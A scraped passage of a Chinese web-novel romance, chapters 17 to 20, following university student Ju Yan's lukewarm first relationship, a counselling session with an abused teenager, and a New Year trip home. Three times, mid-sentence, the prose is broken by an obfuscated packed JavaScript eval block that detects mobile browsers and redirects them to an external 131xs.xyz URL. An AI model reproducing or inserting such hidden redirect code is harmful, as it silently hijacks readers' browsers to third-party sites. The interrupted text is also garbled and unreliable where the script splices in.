周孝明一走，童钰就迫不及待地问鞠言：“比比，班长是不是想追你？” 鞠言摇了摇头：“不知道……” 童钰笑道：“要不要赶紧发群里让清梨她们分析一下？” 鞠言继续摇头：“还是算了吧，万一是误会呢。” “也是。”童钰点点头认同了她的说法。 17. 第 17 章 夏末秋初，路面上扑洒着温暖却不灼热的阳光，晴朗而干爽的天气引得校园里的流浪猫都跑了出来，露着肚皮慵懒地躺在有太阳光的地方。 鞠言推开图书馆的玻璃门等在一旁，等寝室里的其他人以及后面几个不认识的同学都进去之后，才松开手。 鞠言从没在图书馆见过林今世和鞠然的身影，他们两个人一有时间不是打球就是出去玩，反正厚脸皮的鞠然蹭着林今世也不用花什么钱。 由于上午时的约定，鞠言在进入图书馆后便下意识地找了下周孝明的身影。 她的目光在周孝明固定的位置上看到了他，她的眼睛使他停下笔仰起脸来。 目光相对，周孝明冲她笑了笑。鞠言也向他回以微笑。 他收拾起摊在桌上的厚重的教科书和笔记本电脑，朝她所坐的位置坐过来。 周孝明在她对面坐下，简单和鞠言寝室的其他人点头招呼了下，便又翻开书本，投入到了各项心理诊断技能中去。 一个对她有好感，并且总体都很好的男生坐在她的对面，鞠言有些震惊自己的心竟然还是那么的平静无澜。 其中她知道，是因为自己无法忘记林今世，虽然她现在只是将他深深藏在心底，竭力少想起。 可在手机上刷到他即将要去的国家，目光却会不自觉地停留。 周孝明没有和鞠言说别的话，只是低着头坐在她的对面，认真而安静地温习。 时间在偶然传来的清脆翻页声中来到傍晚时分。随着外面逐渐暗淡下去的天光，图书馆内的人越走越少。 鞠言低头学习了一下午，后颈有些酸痛，她揉了揉脖子，让自己舒服点。 坐在她对面的周孝明也已停下了笔，他摘了眼镜，闭着眼睛，洁白的两指轻轻按压着眼角。 鞠言推醒伏在桌子上睡觉的沈清梨：“醒啦，我们要走了。” 沈清梨迷迷糊糊地应了一声，擦掉口水爬起来收拾自己垫着的书。 鞠言和其他人都已收拾好了东西，就等沈清梨了。 周孝明将水杯装进黑色双肩包侧边的口袋里，他站起身，望着鞠言问：“要和我一起去吃饭吗？” 鞠言微微怔了下，她明白，这一次答应周孝明的话，便是答应了他向她靠近的请求。 沉默的片刻之间，林今世再度出现在了鞠言眼前，昨天的晚自习下课之后，她拿着一沓还微微生热的真题卷从学校的打印店出来，在行道上与他擦肩而过，林今世的神色与从前无异，目光也像从前那般没有在她身上停留。 他的即将离去让她这样难过，可他却一无所知。 她在他的人生里连影子的位置都没有。 鞠言的心又是一痛，她眼睫微颤，轻轻“嗯”了一声，答应了下来。 从这次之后，周孝明在早晚自习时总是坐在她的身旁，下课后也会送她到女寝楼下。 童钰也会意的不再等她一起走，把空间留给她和周孝明。 两个星期后，一个夏末的晚上，周孝明在送鞠言回寝的路上，无言地牵住了她的手。 鞠言没有拒绝，她能感觉出来周孝明也不是非她不可，如果她拒绝的话，他也不会很失望。 鞠言觉得这样正好，如果周孝明是很喜欢她的话，她就不会答应了。 鞠言慢慢交握住了周孝明温暖的手，平淡地让他成了自己的初恋。和情愫、荷尔蒙都没有关系。 只是为了将另一个少年的身影在自己心中擦干净，彻底忘记。 - 十月的起始，校园里的桂花树开始吐出一蓬蓬沁人心脾的浓香。吹得满世界香风。 鞠言和周孝明从图书馆出来，踏着湿润的沥青路面，并肩走在入秋的校园里。 刚刚下过一场小雨，路缘石边积落了许多被雨打落的金色小桂花，漂浮在浅薄的雨水之上，蕴透出浓郁的秋天的气息，有不少女学生蹲在旁边拍摄自己与秋景的合照。 “你要拍吗？”周孝明侧过脸问身旁的鞠言。 鞠言微笑着摇了摇头。 “那帮我拍一张吧。”周孝明走到一棵繁茂的银桂树下，两手插兜，眼神平和地朝她望着。 鞠言举起自己的手机，将这一幕记录了下来。 周孝明走回她身旁，低脸看了一眼她拍的那张照片，鞠言打开微信想把那张照片发送给他，周孝明忽然道： “不用发给我了。” 鞠言不知其意，仰起脸看他。 周孝明清俊的脸映在桂花树深绿的繁叶与一簇簇淡黄色的小花之前，他轻声说： “把我留在你的相册里，可以吗？” 鞠言浅笑着点了下头。 她学着其她恋爱中的女孩的样子将他的照片设置为了屏保。 周孝明在一旁安静地看着她的举动，等她熄灭屏幕后，他柔声问：“我是你初恋吗？” 鞠言顿了下，随即点了点头。 “其实你答应和我交往我挺惊讶的，”周孝明望着她微笑道：“你看起来不像是想谈恋爱的样子。” 鞠言不知道该怎么回答，莫名不想谈这个话题，只微笑道：“是吗。” 周孝明微笑不语，他伸手牵住她的手。 已经交往快一个月了，周孝明个性很好，节俭而不小气，日常相处起来也很尊重她，很容易就会让人产生好感。 可是鞠言对他的感情始终像是对一个男性朋友那样，因此她总觉得有些内疚他，分手的念头时而在脑海中盘旋着。 就连室友都说，很少见像你这样第一次谈恋爱就这么平静的。 其实，鞠言只是不知道该怎么喜欢上除了林今世以外的其他人。 回到寝室，沈清梨看到了鞠言的屏幕，凑过来八卦地问道： “比比，你的屏幕是班长吗？” 鞠言轻轻“嗯”了声，并没有什么羞赧的感觉。 “班长这张照的真好看，跟网图似的。哪像我那个，用他做屏幕都嫌丢面。”沈清梨叹了口气。 鞠言：“……” 沈清梨的男朋友跟她们同班，鞠言在心里想了想他的长相，感觉并没有沈清梨说的那么不堪。 晒完衣服的周靓雯也加入了话题：“你们觉不觉得比比和班长很有夫妻相？” “觉得觉得！”沈清梨马上赞同：“都是干干净净那一类长相的！” 由于她们的话，傍晚时分和周孝明在食堂吃饭时，鞠言不由得多看了他几眼。 “我脸上有什么吗？”周孝明抬手摸了下白洁的脸。 鞠言摇了摇头，没有把她们说的夫妻相的事情告诉他。 周孝明笑笑，把自己那份煲仔饭里的甜腊肠片夹到了鞠言的碗里。 吃饭的时候，他总会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305820|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把自己碗里的肉夹给鞠言，连喝奶茶时插吸管这种细枝末节的事情，他都会事先做好，再递给鞠言。 鞠言心里微微有点触动，周孝明很好，自己应该试着喜欢上他，而不是对另一个遥不可及的人执着，愈陷愈深。 该试着一点点把本就和她不会产生关系的他忘记了。 吃好晚餐，周孝明拿出手机来付钱，他们提前说好了AA制，其中一个人结账，然后再把账单发给对方。 鞠言不经意地瞥见了他微信钱包里的余额，她不禁怔了怔，似乎是六位数的。 她平时从没见周孝明穿过名牌的服饰，其他男孩热衷于追求的几千块一双的球鞋他也从来没穿过。 难道周孝明是个低调的隐形富二代吗…… “在想什么？”见她在出神，周孝明的手在她面前挥了下。 鞠言微笑道：“没什么。” 走出食堂，两人一人扫了一辆共享单车，踩着脚踏往大学城的方向骑，周孝明骑在鞠言的前面，他后背的白衬衫干净得仿佛没有一丝灰尘。 风把淡淡的肥皂香味吹向她，他身上总是有这股有恰到好处的香气。 两个人在大学城的一家猫咖撸了会儿猫，周孝明在路边的娃娃机抓了几只毛绒玩偶给鞠言，他抓娃娃很准，几乎是鞠言想要哪个他就能抓上来哪个。 他们又在商圈逛了会儿，周孝明侧过脸看她：“想去看电影吗？” 鞠言想了想：“还可以。” 周孝明：“我们去私人影院看吧，比较清静，不会被打扰。” 他们摁电梯到16层，在影院的前台选好电影，老板引着他们到一家装饰温馨的小包间。 电影是周孝明选的，鞠言当时接了个电话，没有听见他选了什么电影。 坐在怪兽造型的双人沙发上，周孝明侧过头对她道：“这是我很喜欢的电影。” “嗯。”鞠言点点头，认真注视着屏幕。 她忽然想起了周靓雯在寝室里闲聊时说起过，她以前和自己的初恋一起去私人影院看电影的事。 周靓雯刚开始满怀期待地以为会是很浪漫的二人世界，没想到那个男孩不仅选的是一部带有大量黄色的电影，而且在开场没几分钟后便开始对周靓雯动手动脚，气得周靓雯甩了他一个耳光，当场就提了分手。 鞠言不觉有点紧张起来，试探地问：“这部片子叫什么呀？” “《宇宙探索编辑部》。”周孝明听她的声音有点奇怪，侧过头来体贴地问道：“是口渴了吗？要不要点饮料？” 鞠言摇摇头。 电影的名字听起来挺正常的，她放心了些。 周孝明全程没有来碰她，只是专注地看着电影，偶然回答一下鞠言看不太懂的地方。 鞠言对他的好感不禁多了一分，她逐渐完全放松下来。这部电影她看得有些晕，不过还挺喜欢的。 出了影院，鞠言还在跟周孝明讨论电影里主角最后到底有没有见到外星人。 正愉快地说着，她的脑海中忽然跳出了林今世的脸。 不知道他有没有看过这部电影，要是能和他再一起看一次电影就好了……… 不过他马上就要到美国去了，而且自己也已经有了男朋友，她和他从今往后都不会再有一点交集了。 鞠言的心口顿时有些闷，兴致瞬间低落了下去。 18. 第 18 章 周孝明星期六有家教的工作，是在文化城附近教一个初中生数学。 等他结束了家教的工作，已经傍晚7点了，鞠言和他肩并肩漫步在已被夜色浸染的校园。 学校公园临湖的一把把长椅上经常有恋人彼此搂抱着，细说喁喁情话。 鞠言和周孝明漫步到湖边，也自然地停了下来。 面湖而坐，渡水而来的夜风格外清凉怡人，鞠言安静地凝望着被吹皱的水面，周孝明朝她坐近，将中间的距离抹去。 “我有东西给你。”他轻声说，温柔地从口袋里取出一只茶绿色的小首饰盒。 “放心，不贵重。” 周孝明提前打消了鞠言的顾虑，他将盒子打开，白丝绒垫上置着一条浅绿色的编结绳，上面吊着两朵小巧的玉雕栀子花。 鞠言最喜欢的颜色便是绿色，她的书包、水杯、雨伞，无一不是绿色的。 他们才交往没多久，没想到周孝明这么快就注意到了。 周孝明牵起鞠言的手替她戴上。 鞠言微微抬起系着编结绳的手看了看，望向周孝明浅笑道：“好看。” 周孝明回以微笑，她忽然发觉他的锁骨上有一处像是擦伤的粉红，察觉到她目光的注意，他也好奇地睁眼： “有什么吗？” “这里有一小块粉红的。”鞠言指了指自己锁骨上相同的位置。 周孝明抬手摸了下，微笑道：“好像是被小虫子咬了，你可以给我吹吹吗？“他把手移开，朝她侧过脖子。 “是痒吗？” 鞠言还不习惯和他有这么亲密的举动，只伸手帮他轻轻抓了抓。 周孝明抬起手来轻轻握住她的手，低下脸慢慢靠近过来，鞠言看到他的嘴唇微微张开，试图贴近她的唇。 鞠言微怔了下，忙偏开脸，小声道：“我还没准备好……” “……”周孝明轻微一笑，“没事，我等你。” 一阵带着凉意的风来，他把脱下来的卫衣外套轻柔地披到她的肩膀上。 “谢谢。”鞠言把天蓝色外套稍稍拢合。 周孝明牵过她的手：“既然你还不习惯和我太亲密，也可以试着先习惯我的外套。” 周孝明镜片后的眼睛含笑，端正的五官被湖边路灯幽白的光柔和地照亮。 鞠言的心里有轻微的触动：“你不冷吧？” 周孝明摇了摇头，“就是有点累。” 他从下午一点便出去做家教，直到晚上七点多才回来。 鞠言：“那你要不要靠在我肩膀上休息一会儿？” 周孝明点了点头，他摘了眼镜，却没有靠到她的肩膀上，而是躺了下来，把头侧枕在她的大腿上。 鞠言的大腿感受到了他带来的温暖的压力，周孝明握住她的一只手，牵到自己的脸颊上。 她的手掌感触到了他光洁平滑的皮肤，鞠言垂下睫看着他，她的第一个男朋友，她的初恋。 鞠言第一次试着主动亲密他，她纤细的手指柔而缓地沿着他直挺的鼻梁线条抚画起来。 周孝明闭上眼睛，仿佛要全身心投入到她的抚摸带来的感受之中。 她的指尖移到他的鼻端时，周孝明握住了她的手，他把她的手指含到嘴里，轻轻吮着。 鞠言的脸颊顿时烫起来，她倏地将手抽了出来。 “鞠言！” 鞠然的声音打破了他们的温存。 鞠言朝声音的方向回过头，她的目光像从前一样，第一时间看到了林今世。 两人在离她不到五十米距离的梧桐大道上，林今世两手闲散地抄在兜里，平淡至极的眸光只朝她看了一眼，便漫无目的地洒向了别处。 鞠言抿了抿唇，他的反应在她的意料之中，她于他而言，完全是无关紧要的人。 一脸讶异的鞠然撇下林今世朝这边跑过来，周孝明不慌不忙地从鞠言腿上坐起来。 鞠然跑到他们跟前停下，眼神警惕地打量着周孝明：“这是谁啊？” 鞠言收回目光，向鞠然介绍：“他是我的男朋友，叫周孝明。” 周孝明立起身礼貌地伸出手：“你好。” 鞠然迟疑地和他牵了下手。 林今世朝这边走了过来，经过他们身旁时并没有停下脚步，只是漫不经心地朝周孝明略扫了一眼，对鞠言完全视若空气。 “……”鞠言轻声对鞠然说道：“林今世走了……” 鞠然微微蹙了蹙眉：“你是不想让我打扰你约会吧？” 周孝明温和地笑了笑：“如果你们有事要聊的话，我也可以先离开。” 鞠然瞥了他一眼，一副看不惯的样子。 鞠言摇摇头：“我们没什么事要聊。”她仰起脸对鞠然道，“你没别的事的话，我们先走了。” 鞠然“哼”了一声：“我走我走，你们两位继续在这儿腻歪吧！” 鞠言：“……” “有哥哥真好。”看着他气哄哄的背影，周孝明微笑道。 鞠言：“你是独生子吗？” 周孝明乖乖地点了点头：“嗯，很小的时候有个哥哥，出意外走了。” 鞠言：“……抱歉。” 周孝明扑哧笑了出来：“为什么要道歉？又不是你的缘故。” 鞠言解释道：“我怕会让你伤心……” 周孝明望着鞠言水润的眼睛，温柔地牵住她的手：“不用内疚，我没有难过。” 虽然不想承认，但林今世的出现还是再一次影响了鞠言的心情，她的胸口闷闷的，已经没了散步的兴致，只在外面逛了一会儿，便提出想回宿舍了。 周孝明也没问什么，牵着她的手送她到宿舍楼下。 宿舍的几个女生正在火热地讨论隔壁班的八卦，鞠言没有加入，和室友们简单打了个招呼，早早便去洗漱了。 尽管她极力克制，但脑海中还是不受控地跳出了林今世今日漠然的脸，鞠言的心像是被塞了一团棉花，堵得透不够气。 她洗漱完，拿起手机准备上床早点休息，却发现屏幕上显示有好几条未读消息，全是鞠然发的： 【他人怎么样？谈过几次恋爱？】 【你谈恋爱可以，在结婚前可千万不能要他做什么，知道没？】 诸如此类的微信有七八条之多。 “……”鞠言在一瞬间还以为是叶珊发来的消息，无奈回复： 【知道了，我又不是小孩子。】 - 对于沈小简再次出现在她的咨询室这件事，鞠言并不意外，通过前几次治疗，尽管女孩并没有提过，但鞠言早已感觉出女孩心理的创伤并非只来自校园。 经过了前几次的咨询，沈小简对她已经不像从前那样戒备和小心翼翼，从这一次谈话中，鞠言大致了解了这个小女孩的家庭状况。 沈小简的父母是校友，毕业没多久便奉子成婚了。 父亲沈子东毕业后成功入职了清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305821|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 津一家薪资和待遇都很不错的外企。 虽然有着很不错的学历，但找保姆照顾出生没多久的孩子对当时的他们来说经济压力太大了，所以母亲李佳静毕业后选择了当一名家庭主妇。 然而由于长期忙于家务和照顾孩子，李佳静渐渐疏于打扮，沈子东也逐渐开始嫌弃起了妻子。 夫妻已经将近半年没有性生活了，有一天晚上沈子东忽然从行李箱里找了好几套情趣内衣出来让李佳静换上。 李佳静坚决不肯，夫妻俩闹得不欢而散。 沈小简：“妈妈说，爸爸的工作哪里都好，唯一不好就是总是要到国外去出差，也就是因为这个，他才会因为寂寞被外面那些女人勾引……” 这些成人的内容从一个15岁小女孩口中说出来，鞠言不禁有些诧然，问道：“方便告诉我，你是怎么知道的吗？” 沈小简目光下视：“是妈妈告诉我的，她说，肯定是外面那些女人教会你爸爸这些的。” 鞠言道：“下一次你妈妈再像你倾诉这些时，你可以尝试拒绝她。” 沈小简仰起脸：“可是那样的话，妈妈会觉得连我也不关心她，会更伤心的……” 鞠言柔和地向她解释：“你妈妈因为夫妻关系间带来的痛苦不在你应当承受的责任范围之内。” 沈小简沉默了一会儿，随后轻轻地“嗯”了声。 她继续往下说：“一开始妈妈因为这件事和爸爸吵过好几次了，但每一次吵到最后爸爸都会动手打妈妈，后来妈妈就不敢再去管他了……但爸爸打妈妈的次数还是越来越多，有时候因为一点儿小事就会拽着妈妈的头发对她又踢又打。” 或许就是因为这个原因导致了沈小简性格胆小，无法与异性正常交流，特别是高个子的男生。 鞠言认真听着，柔声询问道：“你妈妈有寻求过帮助吗？” 沈小简点了点头：“妈妈有几次被爸爸打得受不了也报过警，但毕竟是家事，最多也只能拘留几天，而且妈妈也不想要爸爸坐牢，她说，要是爸爸真的坐过牢，将来会影响我考公的……我也劝过她好几次让她和爸爸离婚，可妈妈说，单亲家庭出来的孩子会被其他人看不起的。” 鞠言：“……” 又是这种为了孩子着想的原因。 咨询师没有权利干涉来访者以及来访者家人的选择，在这件事上鞠言不能给出建议，只能安静地听着，让沈小简把内心的压抑发泄出来。 恶劣的原生家庭，压抑的校园，每一件事都在一点点压垮这个十五岁的小女孩，即使她已经很勇敢，很坚强了。 鞠言望着坐在对面的沈小简，忍不住地心疼。 …… 咨询的时间到了，沈小简站起身，轻声对她说：“再见。” 鞠言微笑着站起身送她，临到门口，沈小简忽然停下脚，回过身来。 “怎么了？”鞠言望着她问，温柔的声音像是陪睡玩偶。 沈小简犹豫了一下，极小声地问：“姐姐，你可以抱抱我吗？” 鞠言怔了怔。 虽然理智告诉她，拒绝才是最好的选择，但在下一刻，她还是柔声告诉她：“可以的。” 下一秒，沈小简就扑过来抱住了她，鞠言紧紧回抱住她，小女孩纤瘦的身体在她的怀里微微发着颤，压抑了许久的哭声从鞠言的肩头传来。 鞠言轻轻抬手拍着她的背，“没事的，会过去的，相信我。”她的声音也有些哽咽了。 19. 第 19 章 跟其他大学的情侣一样，鞠言和周孝明平时总是一起上下学，一起享用一日三餐。 鞠言已经渐渐有些习惯了周孝明走在自己身旁的感觉，他很高，只比林今世略矮3cm。 她甚至自己都没有意识到，任何事情她的潜意识里总是第一时间想到林今世。 鞠言和周孝明只是偶然出去玩，大多时间都是泡在图书馆看书，除了学习的资料之外，便是阅读文学作品。 在送鞠言回寝室的路上，周孝明和她闲聊起最喜欢的哪部文学作品。 鞠言想了想：“有很多喜欢的，但最喜欢的一下子倒选不出来。” “那喜欢的作者呢？” 鞠言思忖了一下，而后报出了几个喜欢的作者的名字。 她看向他： “你呢？最喜欢的书是什么呢？” 周孝明不假思索地低声念了一句法语： “Jeveuxlagloireàmesgenoux”。 他的这句法语念的流利而动听。 鞠言：“《红与黑》？” 周孝明嘴角含笑点了点头。 “将来我们可以一起去法国进修。”周孝明伸手牵住鞠言的手，十指交挽。 鞠言笑了笑，她并不想出国深造，打算念完本科后就去工作，这样的话就能快点靠自己，不用再向父母要钱。 - 鞠言的第一学期大学生活正式迎来结尾，期末周的考试多到让人头秃，好在是终于结束了，也没有挂科。 考完了试，这一学期也没剩几天了。 鞠旭阳平时很忙，叶珊车技不好，根本不敢开高速，鞠然虽然考出驾驶证了，但还没有买车，两个人只能坐高铁回去。 鞠然前年到了预备回家的那一天才买票，结果连张站票都没有抢到，最后只能靠逃票的方式上车，今年鞠言提前好几周就给自己和他抢好了高铁票，以免再发生类似的事情。 到了放假那天，鞠言告别了室友们，提着自己的行李箱下楼，鞠然已经在楼下等她了。 周孝明也在，正被鞠然不爽的目光睨着。 看到鞠言的身影出现在楼梯口，周孝明道：“你在那里等我。” 他踏上楼梯，从她手中接过了行李箱。 “谢谢。”鞠言朝他浅笑。 周孝明回以微笑。 “我帮你搬那么多次东西，你怎么从来没跟我说过谢谢？”鞠然颇为不爽。 鞠言：“……你欺负我那么多次怎么从来不跟我道歉？” 鞠然瞬间语塞。 三个人一起走到校外，鞠然打好的网约车已经等在门口了。 周孝明打开后座的车门让鞠言上车。 “行李还没放呢。”鞠言摇了摇头。 周孝明：“我来就好。” 鞠言没有再说什么，她坐上车，周孝明温柔地合上车门。 两个男人把四只行李箱横叠在后备箱中，鞠然绕到副驾驶旁，打开车门坐了进去。 鞠言降下车窗，冲周孝明轻轻摆手，她柔声道：“明年见。” 周孝明打开后座的车门：“我送你到车站。” 副驾驶的鞠然露出了警觉的样子。 鞠言不想周孝明白白挤一趟，便摇了摇头：“不用了，车站今天肯定很挤。” “没关系。”周孝明摇了摇头，正想坐上来，鞠然忽然打开车门跳了下来，将周孝明往后拽了一把： “你坐前面，前面气宽。”他边说边钻进了周孝明打开的车门内。 鞠言：“……” 周孝明：“……” 周孝明没有和他争，替鞠然关上车门，坐到了副驾驶。 接驾的司机是个中年男人，认为学生好欺负，态度一贯恶劣，见鞠然和周孝明把座位换来换去，忽然咆哮了一声： “能不能快点！啰啰嗦嗦的，诚心浪费我时间是不是！” 鞠然脸色瞬间一变，嗓门吼得比他还大：“换个座位就是浪费你时间？你时间那么宝贵来开什么网约车，拿去卖钱多好？” 看他不像好惹的样子，中年男子马上怂了，默然了一会儿后道：“尾号报一下。” 鞠然晾了他片刻，才不耐烦地报出了手机尾号。 周孝明回过头来朝鞠言看了看，担心他会被刚才两个男人的咆哮声吓到。 鞠言朝他笑了笑，让他放心。 行驶了大约半个小时，车子在清津火车站前停下，鞠然一下车就开始在手机上投诉司机，周孝明牵着鞠言的行李箱陪她走到候车大厅。 因为是新年，清津车站挤满了返乡的人，学生居多，人手提着行李箱。 连排铁椅和按摩椅都已经坐满了，周孝明把行李箱的把手缩了，让鞠言坐。 鞠言看了眼发车时间，还有一个多小时，于是对周孝明道：“你回去吧，不用陪我了，我这里没什么事的。” “想多陪陪你。”周孝明柔声道。 鞠然在鞠言身后无声地呲牙咧嘴学周孝明说这句话。 周孝明视而不见，只是望着鞠言的脸，替她理了理围巾。 他抬腕看了看表：“快五点了，你饿吗？想吃什么我去买。” 鞠言摇摇头：“我不饿呢。” 周孝明看向鞠然：“哥呢？想吃什么？” 鞠然一副不想理他的样子，敷衍地摇了下头，却忽然想到了什么，变卦道：“来杯关东煮吧，不要白萝卜，多拿几串福袋和牛肉丸。” “我和你一起去吧。”鞠言不好意思让周孝明替鞠然跑腿。 “你去干什么？这么多行李我一个人哪里看得住。”鞠然拉住她。 “没事，我去吧。”周孝明微笑道。 鞠言只好作罢，周孝明一走，鞠然便嘟囔道： “总算能让他走开一会儿了，看见他就烦。” 鞠言无奈道：“你干嘛对他意见那么大，他又惹你。” 鞠然说不出所以然，只能“哼”了一声以做反驳。 他们那一班高铁晚点了，等送鞠言到检票口，外面的天都黑了，鞠言将自己的围巾解下来递给周孝明。 周孝明摇摇头：“我没事。” 鞠言坚持道：“高铁里没那么冷，你戴着就不会感冒了。” 周孝明的眼睛弯了起来：“我更害怕你会感冒。” 鞠然在一旁看得一肚子火气，他“啧”了一声，一把扯走鞠言的蓝色围巾，丢到了她的脸上。 周孝明忙想替鞠言把围巾摘下来，下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305822|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻，自己的脸也被鞠然丢过来的围巾盖住了。 鞠言：“……” 周孝明：“……” “这样可以了吧！你俩哪个都冻不死了！”鞠然不耐烦地说道，他不由分说地抢走了鞠言的行李箱，“赶紧走了，等下误车了我看你怎么回去。” 车厢内开着暖气，两人一前一后穿过狭窄的过道，找到并排的座位。 鞠然提起自己的行李箱搁到座位上面的架子上，随后伸手来提鞠言的。 鞠言想在箱子底部一起托一把。 “用不着，这么点重量还让你帮忙的话，我就不用算男人了。”鞠然躲开手，边说边轻而易举地将将沉甸甸的行李箱推到了架子上。 安置完行李，两人在位置上坐下，鞠然把前座的小桌板掀下来，搁上平板播放球赛直播。 他并不全神贯注，只偶然朝屏幕瞥一眼，大多时间都是在和人聊微信。 鞠言有些累了，便趴在小桌板上发呆。 林今世懒怠的声音忽然从身侧传来，即使是从听筒中传来的，她的心脏微微加快了跳动，原本放松的身体也有些紧绷起来。 鞠言在心里默默祈祷林今世不要再发语音给鞠然了。 可是他的声音间隔就在她身旁响起，鞠言想控制住自己不去注意他的声音，可心做不到让听觉被控制，鞠言咬了下唇，从口袋中取出耳机来戴上。 逐渐响起的钢琴声，伴着女歌手怅然的歌声掩盖住了林今世的声音。 鞠言坐起身，用戴着手套的手抹去了窗镜上的湿雾，在音乐声中把目光投向往后流淌的夜景。 经历了几个小时的车程，终于到了玉雾，兄妹俩疲惫地从拥挤的车站出来。 玉雾比清津还要冷，一走出温暖的车站，迎面的冷风便吹得鞠言把脸往围巾里缩了缩。 幸好叶珊已经到了，车子就停在车站外。 走到车旁，鞠然让鞠言先上车，自己来放行李。 鞠言摇摇头，坚持要和他一起将行李放上后备箱。 “你别给我添乱了行不行。”鞠然抢过鞠言手里的行李箱，连同自己手里的那只一起提到车上。 鞠言不理他，顾自把剩下的两只小的行李箱拎到后备箱里安放好。 她掏出手机，发微信给周孝明：【我到家了。】 周孝明过了一会儿才回复：【嗯，早点休息哦。】 回到家，鞠言洗完澡和头发，叶珊已经煮好了芥菜鲜肉饺子，鞠言十四只，鞠然二十只。 两人对坐在茶几前，一人捧着一盘热气腾腾的饺子吃着，叶珊坐在鞠然身旁看着他们两个人吃，不时问起学校里的事情。 鞠然和自己的朋友有说不完的话，但到了叶珊旁边却经常说不了几句，大多时候都是鞠言在应答，不过叶珊只要是鞠然在身旁，她就很满足了。 饺子个头大，鞠言吃了十只就饱了，便将剩下的四只划到了鞠然碗里。 鞠然瞥了她一眼，“怎么这个时候不喊我猪八戒了？” 鞠言有些心虚：“……” 吃完了饺子，鞠言换上睡衣立刻扑到了自己房间的床上，被子枕套都是叶珊新换的，透出一股干净的衣橱气息。 她用脸埋着柔软的枕头，觉得幸福极了。 20. 第 20 章 在家里的日子总是过得很快，一眨眼就是新年了，烟火鞭炮声从清晨到傍晚一直没停歇过。 叶珊和鞠旭阳出去买菜了，家里只有鞠言和鞠然两个人。 鞠言惬意地窝在沙发上，一边看着电影，一边抱着果盘吃车厘子和小金桔。 她叼了一颗车厘子，眼睛看着电视，把手里的果盘递给鞠然。 手悬在空中半晌鞠然也没有接，鞠言回过头去看了一眼，鞠然歪倒在沙发上，窄小的鼻翼均匀翕动着，有几缕长发掉下来挡在脸上，不知道是什么时候睡着的。 鞠言将果盘搁到面前的茶几上，想站起身拿条毯子来给他盖上。 可看着鞠然的一头长发，一个报复的念头忽然在她的脑海中闪现。 鞠言放弃了拿毯子的念头，一阵风似的跑进自己的卧室拿了化妆包出来，随后轻手轻脚地跪到鞠然旁边的沙发上。 她从化妆包里拿出小梳子和皮筋，开始给睡着的哥哥扎小辫子。 鞠言的动作极其小心，要是不小心把鞠然吵醒了，就要前功尽弃了。 她轻轻梳起他的一束头发，小心地用皮筋扎好，由于鞠言的动作很“温柔”，鞠然脸上露出了狗狗被抚摸的舒服表情。 鞠言用手轻柔地推着他的下巴，让他的头侧向另一边，随后顺利给他扎好了另一只小辫子。 她轻轻把鞠然的脸掰正，盯着打量了一会儿，总觉得还缺什么，本想给鞠然涂点口红，但鞠然的嘴唇够红了，鞠言便将口红放回了化妆包里，她想了想，从里面挑了一枚小兔子发夹给鞠然别上，这才满意地捏起鞠然的脸拍了几张照片存到相册里，作为以后收拾鞠然的把柄。 将手机放回兜里，鞠言伸手戳了戳鞠然，鞠然睡熟了没什么反应。 鞠言用手捏住他的鼻子，两秒不到，鞠然便打开了她的手，他迷迷糊糊地睁开眼睛瞟了她一眼。 “鞠然～” 鞠言双手背在身后，笑眯眯地问道： “要不要下去放烟花？” “不去。”鞠然翻了身想继续睡。 “去玩一趟嘛，家里零食也没有了，顺便去超市买一点。”鞠言伸手拽住鞠然一只手往外拉。 鞠然抽回手，连眼睛都不睁：“你自己去。” “醒过来醒过来。”鞠言略俯下身不停地摇晃着哥哥的身体。 鞠然被她吵得睡不着了，一骨碌坐起来瞪着鞠言：“鞠小比，你欠收拾是不是！” 鞠然从来都是光打雷不下雨，所以对于他的警告，鞠言一点儿也不怕，她拿了沙发旁的外套丢给他：“快点起来。” 鞠然皱着眉站起身，想先去趟厕所洗把脸，鞠言忙拉住他： “直接走吧，太迟的话太冷了。” 鞠然信了她的话，拿过外套不情不愿走到玄关，换上鞋子，跟着她一起下楼。 室外寒风刺骨，鞠然本来在电梯上还打着哈欠，但被外面的冷空气一吹彻底清醒了。 为了不当场露陷，鞠言强忍着笑意，不敢多看一眼身旁绑着两只小辫子的鞠然。 两个人走到小区门口，鞠然想走进就近的一家烟火摊子，鞠言忙道： “去超市吧，超市种类多。” 超市内温暖如春，新年气氛浓厚，到处都挂着红灯笼和中国结，从小时候就经常听到的喜庆歌曲正热烈地回荡着。 鞠然两手抄兜走在鞠言身旁，跟着哼起来：“嘿依嘿依嘿依呀哈哈……” 看着贴在货架上的年画娃娃，鞠言有些后悔，当初怎么没想到用红色皮筋给鞠然扎两个小丸子。 